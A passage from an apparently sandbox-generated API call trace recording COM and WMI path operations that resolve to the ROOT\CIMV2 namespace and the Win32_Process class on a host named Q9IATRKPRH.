riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0470) returned 0x0 [0059.233] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0059.233] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0059.233] WbemDefPath:IWbemPath:SetText (This=0x1bea0470, uMode=0x4, pszPath="") returned 0x0 [0059.233] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.234] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.234] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.234] IUnknown:Release (This=0x111f638) returned 0x1 [0059.236] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f1660) returned 0x0 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f1660, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.236] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f1660, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0530) returned 0x0 [0059.236] WbemDefPath:IUnknown:Release (This=0x11f1660) returned 0x0 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0530) returned 0x0 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.236] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f16e0) returned 0x0 [0059.237] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f16e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.237] WbemDefPath:IUnknown:Release (This=0x11f16e0) returned 0x3 [0059.237] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.237] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.237] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0059.237] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0059.237] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.237] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0530, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0530) returned 0x0 [0059.237] WbemDefPath:IUnknown:AddRef (This=0x1bea0530) returned 0x3 [0059.237] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x2 [0059.237] WbemDefPath:IWbemPath:SetText (This=0x1bea0530, uMode=0x4, pszPath="") returned 0x0 [0059.237] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.237] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0470, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.237] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0530, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0059.237] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0530, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0059.237] WbemDefPath:IWbemPath:SetServer (This=0x1bea0530, Name="Q9IATRKPRH") returned 0x0 [0059.237] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.238] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.238] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.238] IUnknown:Release (This=0x111f638) returned 0x1 [0059.240] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f1700) returned 0x0 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f1700, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.240] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f1700, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea05f0) returned 0x0 [0059.240] WbemDefPath:IUnknown:Release (This=0x11f1700) returned 0x0 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea05f0) returned 0x0 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.240] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f1740) returned 0x0 [0059.241] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1740, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.241] WbemDefPath:IUnknown:Release (This=0x11f1740) returned 0x3 [0059.241] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.241] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.241] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.243] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0059.243] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0059.243] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.243] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea05f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea05f0) returned 0x0 [0059.243] WbemDefPath:IUnknown:AddRef (This=0x1bea05f0) returned 0x3 [0059.243] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x2 [0059.243] WbemDefPath:IWbemPath:SetText (This=0x1bea05f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0059.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0059.244] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0530) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea05f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea05f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0059.244] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0530, uIndex=0x0, pszName="ROOT") returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea05f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea05f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0059.244] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0530, uIndex=0x1, pszName="CIMV2") returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea0530, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0059.244] WbemDefPath:IWbemPath:SetClassName (This=0x1bea0530, Name="Win32_Process") returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0530, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0530, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0530, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.244] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0059.245] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0059.245] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0059.245] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0059.245] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0059.245] IUnknown:Release (This=0x111f638) returned 0x1 [0059.247] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f19a0) returned 0x0 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f19a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0059.248] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f19a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea06b0) returned 0x0 [0059.248] WbemDefPath:IUnknown:Release (This=0x11f19a0) returned 0x0 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea06b0) returned 0x0 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0059.248] WbemDefPath:IUnknown:AddRef (This=0x1bea06b0) returned 0x3 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0059.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f19e0) returned 0x0 [0059.248] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f19e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.248] WbemDefPath:IUnknown:Release (This=0x11f19e0) returned 0x3 [0059.248] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0059.249] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0059.249] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0059.249] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x2 [0059.249] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x1 [0059.249] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0059.249] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0059.249] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea06b0) returned 0x0 [0059.249] WbemDefPath:IUnknown:AddRef (This=0x1bea06b0) returned 0x3 [0059.249] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x2 [0059.249] WbemDefPath:IWbemPath:SetText (This=0x1bea06b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0059.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.249] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0059.249] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.249] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.249] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.249] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.249] IUnknown:Release (This=0x111f638) returned 0x1 [0059.251] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, 